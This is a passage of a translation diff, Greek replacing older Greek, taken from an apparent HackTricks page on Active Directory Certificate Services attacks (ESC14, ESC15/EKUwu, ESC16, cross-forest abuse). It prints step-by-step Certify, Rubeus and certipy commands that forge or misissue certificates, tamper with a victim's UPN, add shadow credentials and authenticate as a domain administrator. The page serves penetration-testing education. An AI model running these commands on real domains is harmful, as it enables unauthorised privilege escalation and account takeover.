αντιστοίχιση. +Το ESC14 στοχεύει τις **explicit certificate mappings** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το attribute είναι ρυθμισμένο (επί τούτου ή από λάθος διαμόρφωση), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση. -#### Σενάριο A: Ο Επιτιθέμενος Μπορεί να Γράψει στο `altSecurityIdentities` +#### Σενάριο A: Ο επιτιθέμενος μπορεί να γράψει στο `altSecurityIdentities` -**Προϋπόθεση**: Ο επιτιθέμενος έχει δικαιώματα εγγραφής στο χαρακτηριστικό `altSecurityIdentities` του στοχευόμενου λογαριασμού ή το δικαίωμα να το παραχωρήσει με τη μορφή ενός από τα παρακάτω δικαιώματα στο στοχευόμενο αντικείμενο AD: -- Γράψτε ιδιότητα `altSecurityIdentities` -- Γράψτε ιδιότητα `Public-Information` -- Γράψτε ιδιότητα (όλα) +**Προϋπόθεση**: Ο επιτιθέμενος έχει δικαιώματα εγγραφής στο `altSecurityIdentities` attribute του στοχευόμενου λογαριασμού ή το δικαίωμα να το παραχωρήσει με τη μορφή ενός από τα ακόλουθα permissions στο αντικείμενο AD στόχο: +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Ιδιοκτήτης*. -#### Σενάριο B: Ο Στοχευόμενος Έχει Ασθενή Αντιστοίχιση μέσω X509RFC822 (Email) +- Owner*. -- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή αντιστοίχιση X509RFC822 στο `altSecurityIdentities`. Ένας επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα email του θύματος ώστε να ταιριάζει με το όνομα X509RFC822 του στοχευόμενου, να εγγραφεί ένα πιστοποιητικό ως το θύμα και να το χρησιμοποιήσει για να αυθεντικοποιηθεί ως ο στοχευόμενος. -#### Σενάριο C: Ο Στοχευόμενος Έχει Αντιστοίχιση X509IssuerSubject +#### Σενάριο B: Ο στόχος έχει αδύναμη αντιστοίχιση μέσω X509RFC822 (Email) -- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509IssuerSubject στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν κύριο θύμα ώστε να ταιριάζει με το θέμα της αντιστοίχισης X509IssuerSubject του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος. -#### Σενάριο D: Ο Στοχευόμενος Έχει Αντιστοίχιση X509SubjectOnly +- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509RFC822 mapping στο altSecurityIdentities. Ένας επιτιθέμενος μπορεί να ορίσει το attribute mail του θύματος ώστε να ταιριάξει με το X509RFC822 όνομα του στόχου, να εγγράψει ένα πιστοποιητικό ως το θύμα, και να το χρησιμοποιήσει για να πιστοποιηθεί ως ο στόχος. -- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509SubjectOnly στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν κύριο θύμα ώστε να ταιριάζει με το θέμα της αντιστοίχισης X509SubjectOnly του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος. -### Συγκεκριμένες Λειτουργίες +#### Σενάριο C: Ο στόχος έχει X509IssuerSubject mapping + +- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509IssuerSubject explicit mapping στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ορίσει το `cn` ή το `dNSHostName` attribute σε ένα principal θύμα ώστε να ταιριάξει με το subject της X509IssuerSubject mapping του στόχου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγράψει ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να πιστοποιηθεί ως ο στόχος. + +#### Σενάριο D: Ο στόχος έχει X509SubjectOnly mapping + +- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509SubjectOnly explicit mapping στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ορίσει το `cn` ή το `dNSHostName` attribute σε ένα principal θύμα ώστε να ταιριάξει με το subject της X509SubjectOnly mapping του στόχου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγράψει ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να πιστοποιηθεί ως ο στόχος. + +### Συγκεκριμένες ενέργειες #### Σενάριο A -Ζητήστε ένα πιστοποιητικό από το πρότυπο πιστοποιητικού `Machine` +Request a certificate of the certificate template `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` -Αποθηκεύστε και μετατρέψτε το πιστοποιητικό +Αποθήκευση και μετατροπή του πιστοποιητικού ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Επικυρώστε (χρησιμοποιώντας το πιστοποιητικό) +Αυθεντικοποίηση (χρησιμοποιώντας το πιστοποιητικό) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -Καθαρισμός (προαιρετικός) +Καθαρισμός (προαιρετικό) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια επίθεσης, παρακαλώ ανατρέξτε στα εξής: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια επίθεσης, παρακαλώ ανατρέξτε στα παρακάτω: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Application Policies(CVE-2024-49019) - ESC15 +## EKUwu Πολιτικές Εφαρμογής(CVE-2024-49019) - ESC15 -### Εξήγηση +### Επεξήγηση -Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου. +Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω ακολουθεί απόσπασμα από το αρχικό κείμενο. -Χρησιμοποιώντας ενσωματωμένα πρότυπα πιστοποιητικών έκδοσης 1, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα CSR που να περιλαμβάνει πολιτικές εφαρμογής που προτιμώνται σε σχέση με τα καθορισμένα χαρακτηριστικά Extended Key Usage που αναφέρονται στο πρότυπο. Η μόνη απαίτηση είναι τα δικαιώματα εγγραφής, και μπορεί να χρησιμοποιηθεί για τη δημιουργία πιστοποιητικών αυθεντικοποίησης πελάτη, πράκτορα αιτήσεων πιστοποιητικών και πιστοποιητικών υπογραφής κώδικα χρησιμοποιώντας το **_WebServer_** πρότυπο. +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template ### Κατάχρηση -Το παρακάτω αναφέρεται σε [αυτό το σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Κάντε κλικ για να δείτε πιο λεπτομερείς μεθόδους χρήσης. +The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Η εντολή `find` του Certipy μπορεί να βοηθήσει στην αναγνώριση των προτύπων V1 που είναι δυνητικά ευάλωτα σε ESC15 αν η CA δεν έχει ενημερωθεί. +Η εντολή Certipy's `find` μπορεί να βοηθήσει στον εντοπισμό προτύπων V1 που ενδέχεται να είναι ευάλωτα στο ESC15 εάν ο CA δεν έχει επιδιορθωθεί. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenario A: Direct Impersonation via Schannel +#### Σενάριο A: Άμεση απομίμηση μέσω Schannel -**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (που επιτρέπει την παροχή υποκειμένου από τον εγγραφέα). +**Βήμα 1: Ζητήστε ένα πιστοποιητικό, εισάγοντας την "Client Authentication" Application Policy και το στοχευόμενο UPN.** Ο Attacker `attacker@corp.local` στοχεύει τον `administrator@corp.local` χρησιμοποιώντας το πρότυπο "WebServer" V1 (το οποίο επιτρέπει enrollee-supplied subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -764,17 +790,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Το ευάλωτο πρότυπο V1 με "Ο συμμετέχων παρέχει το θέμα". -- `-application-policies 'Client Authentication'`: Εισάγει το OID `1.3.6.1.5.5.7.3.2` στην επέκταση Πολιτικών Εφαρμογής του CSR. -- `-upn 'administrator@corp.local'`: Ορίζει το UPN στο SAN για μίμηση. +- `-template 'WebServer'`: Το ευάλωτο πρότυπο V1 με "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Εισάγει το OID `1.3.6.1.5.5.7.3.2` στην επέκταση Application Policies του CSR. +- `-upn 'administrator@corp.local'`: Θέτει το UPN στο SAN για υπόδυση ταυτότητας. -**Βήμα 2: Αυθεντικοποίηση μέσω Schannel (LDAPS) χρησιμοποιώντας το αποκτηθέν πιστοποιητικό.** +**Βήμα 2: Πιστοποίηση μέσω Schannel (LDAPS) χρησιμοποιώντας το αποκτηθέν πιστοποιητικό.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse +#### Σενάριο B: PKINIT/Kerberos Impersonation μέσω κατάχρησης Enrollment Agent -**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Αυτό το πιστοποιητικό είναι για τον επιτιθέμενο (`attacker@corp.local`) ώστε να γίνει πράκτορας εγγραφής. Δεν καθορίζεται UPN για την ταυτότητα του επιτιθέμενου εδώ, καθώς ο στόχος είναι η ικανότητα του πράκτορα. +**Βήμα 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Αυτό το πιστοποιητικό προορίζεται για τον attacker (`attacker@corp.local`) ώστε να γίνει enrollment agent. Δεν καθορίζεται UPN για την ταυτότητα του attacker εδώ, καθώς ο στόχος είναι η ικανότητα ως enrollment agent. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -784,7 +810,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: Εισάγει OID `1.3.6.1.4.1.311.20.2.1`. -**Βήμα 2: Χρησιμοποιήστε το πιστοποιητικό "agent" για να ζητήσετε ένα πιστοποιητικό εκ μέρους ενός στόχου προνομιακού χρήστη.** Αυτό είναι ένα βήμα παρόμοιο με το ESC3, χρησιμοποιώντας το πιστοποιητικό από το Βήμα 1 ως το πιστοποιητικό agent. +**Βήμα 2: Χρησιμοποιήστε το πιστοποιητικό "agent" για να ζητήσετε ένα πιστοποιητικό εκ μέρους ενός στοχευόμενου προνομιακού χρήστη.** Πρόκειται για ένα βήμα τύπου ESC3, χρησιμοποιώντας το πιστοποιητικό από το Βήμα 1 ως το πιστοποιητικό "agent". ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -792,52 +818,52 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Βήμα 3: Αυθεντικοποιηθείτε ως ο προνομιούχος χρήστης χρησιμοποιώντας το πιστοποιητικό "on-behalf-of".** +**Βήμα 3: Πιστοποιηθείτε ως χρήστης με προνόμια χρησιμοποιώντας το πιστοποιητικό "on-behalf-of".** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` ## Security Extension Disabled on CA (Globally)-ESC16 -### Explanation +### Εξήγηση -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, αν η διαμόρφωση του AD CS δεν επιβάλλει την συμπερίληψη της **szOID_NTDS_CA_SECURITY_EXT** επέκτασης σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το γεγονός με: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, εάν η διαμόρφωση του AD CS δεν επιβάλλει την συμπερίληψη της επέκτασης **szOID_NTDS_CA_SECURITY_EXT** σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί με: -1. Αίτηση πιστοποιητικού **χωρίς σύνδεση SID**. +1. Κάνοντας αίτηση για πιστοποιητικό **χωρίς SID binding**. -2. Χρήση αυτού του πιστοποιητικού **για αυθεντικοποίηση ως οποιοσδήποτε λογαριασμός**, όπως η μίμηση ενός λογαριασμού υψηλών προνομίων (π.χ., ενός Διαχειριστή Τομέα). +2. Χρησιμοποιώντας αυτό το πιστοποιητικό **για αυθεντικοποίηση ως οποιοσδήποτε λογαριασμός**, όπως προσποιούμενος έναν λογαριασμό με υψηλά προνόμια (π.χ., Domain Administrator). -Μπορείτε επίσης να ανατρέξετε σε αυτό το άρθρο για να μάθετε περισσότερα σχετικά με την λεπτομερή αρχή: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Μπορείτε επίσης να ανατρέξετε σε αυτό το άρθρο για να μάθετε περισσότερα για την λεπτομερή αρχή:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### Κατάχρηση -Το παρακάτω αναφέρεται σε [αυτό το σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Κάντε κλικ για να δείτε περισσότερες λεπτομερείς μεθόδους χρήσης. +Το ακόλουθο αναφέρεται στο [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Click to see more detailed usage methods. -Για να προσδιορίσετε εάν το περιβάλλον των Υπηρεσιών Πιστοποίησης Active Directory (AD CS) είναι ευάλωτο σε **ESC16** +Για να προσδιορίσετε εάν το περιβάλλον Active Directory Certificate Services (AD CS) είναι ευάλωτο στο **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Βήμα 1: Διαβάστε το αρχικό UPN του λογαριασμού του θύματος (Προαιρετικό - για αποκατάσταση).** +**Βήμα 1: Διαβάστε το αρχικό UPN του λογαριασμού του θύματος (Προαιρετικό - για επαναφορά).** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Βήμα 2: Ενημερώστε το UPN του λογαριασμού του θύματος με το `sAMAccountName` του στοχευόμενου διαχειριστή.** +**Βήμα 2: Ενημερώστε το UPN του λογαριασμού θύματος στο `sAMAccountName` του διαχειριστή-στόχου.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Βήμα 3: (Εάν χρειάζεται) Αποκτήστε διαπιστευτήρια για τον λογαριασμό "θύμα" (π.χ., μέσω Shadow Credentials).** +**Βήμα 3: (Εάν χρειάζεται) Αποκτήστε credentials για τον λογαριασμό "victim" (π.χ., μέσω Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "θύμα" από _οποιοδήποτε κατάλληλο πρότυπο πιστοποίησης πελάτη_ (π.χ., "Χρήστης") στην CA που είναι ευάλωτη στο ESC16.** Επειδή η CA είναι ευάλωτη στο ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις συγκεκριμένες ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ρυθμίστε τη μεταβλητή περιβάλλοντος cache διαπιστευτηρίων Kerberos (εντολή shell): +**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "victim" από _οποιοδήποτε κατάλληλο client authentication template_ (π.χ., "User") στον ESC16-ευάλωτο CA.** Επειδή ο CA είναι ευάλωτος στο ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις ειδικές ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ορίστε την περιβάλλουσα μεταβλητή cache διαπιστευτηρίων Kerberos (εντολή shell): ```bash export KRB5CCNAME=victim.ccache ``` @@ -848,35 +874,37 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Βήμα 5: Επαναφέρετε το UPN του λογαριασμού "θύματος".** +**Βήμα 5: Επαναφέρετε το UPN του λογαριασμού "victim".** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Βήμα 6: Αυθεντικοποιηθείτε ως ο διαχειριστής στόχος.** +**Βήμα 6: Αυθεντικοποιηθείτε ως διαχειριστής-στόχος.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Συμβιβασμός Δασών με Πιστοποιητικά Εξηγούμενος σε Παθητική Φωνή +## Συμβιβασμός Forests με Πιστοποιητικά — Εξηγημένο σε Παθητική Φωνή -### Σπάσιμο Δεσμών Δασών από Συμβιβασμένες CA +### Διάρρηξη των Forest Trusts από συμβιβασμένες CA -Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το δάσος πόρων **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο δάσος πόρων πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, πόρων και λογαριασμών, θα μπορούσαν να **κατασκευαστούν από αυτούς**, σπάζοντας έτσι το όριο ασφαλείας του δάσους. +Η ρύθμιση για το **cross-forest enrollment** γίνεται σχετικά απλή. Το **root CA certificate** από το resource forest **δημοσιεύεται στα account forests** από τους διαχειριστές, και τα **enterprise CA** certificates από το resource forest **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε account forest**. Για να διευκρινιστεί, αυτή η διάταξη παρέχει στο **CA στο resource forest πλήρη έλεγχο** πάνω σε όλα τα άλλα forests για τα οποία διαχειρίζεται το PKI. Εάν αυτό το CA **συμβιβαστεί από attackers**, πιστοποιητικά για όλους τους χρήστες τόσο στο resource όσο και στα account forests θα μπορούσαν να **πλαστογραφηθούν από αυτούς**, θραύοντας έτσι τα όρια ασφαλείας του forest. -### Δικαιώματα Εγγραφής που Χορηγούνται σε Ξένους Πρίγκιπες +### Enrollment Privileges Granted to Foreign Principals -Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CA που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικές στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\ -Μετά την αυθεντικοποίηση μέσω ενός δεσμού, το **Authenticated Users SID** προστίθεται στο διακριτικό του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει δικαιώματα εγγραφής στους Authenticated Users**, ένα πρότυπο θα μπορούσε ενδεχομένως να **εγγραφεί από έναν χρήστη από ένα διαφορετικό δάσος**. Ομοίως, εάν **τα δικαιώματα εγγραφής χορηγούνται ρητά σε έναν ξένο πρίγκιπα από ένα πρότυπο**, δημιουργείται μια **σχέση ελέγχου πρόσβασης μεταξύ δασών**, επιτρέποντας σε έναν πρίγκιπα από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**. +Σε περιβάλλοντα με πολλά forest απαιτείται προσοχή σχετικά με Enterprise CAs που **δημοσιεύουν certificate templates** τα οποία επιτρέπουν σε **Authenticated Users ή foreign principals** (χρήστες/ομάδες εκτός του forest στο οποίο ανήκει το Enterprise CA) **δικαιώματα enrollment και edit**. +Μετά την authentication μέσω ενός trust, το **Authenticated Users SID** προστίθεται στο token του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει ένα Enterprise CA με template που **επιτρέπει Authenticated Users δικαιώματα enrollment**, ένα template ενδέχεται να **εγγραφεί από έναν χρήστη από διαφορετικό forest**. Ομοίως, εάν **τα enrollment rights χορηγηθούν ρητά σε ένα foreign principal από ένα template**, δημιουργείται έτσι μια **cross-forest access-control relationship**, επιτρέποντας σε ένα principal από ένα forest να **εγγραφεί σε ένα template από άλλο forest**. -Και οι δύο περιπτώσεις οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από το ένα δάσος στο άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσουν επιπλέον προνόμια σε ένα ξένο domain. +Και τα δύο σενάρια οδηγούν σε μια **αύξηση του attack surface** από ένα forest σε άλλο. Οι ρυθμίσεις του certificate template θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα foreign domain. -## Αναφορές +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}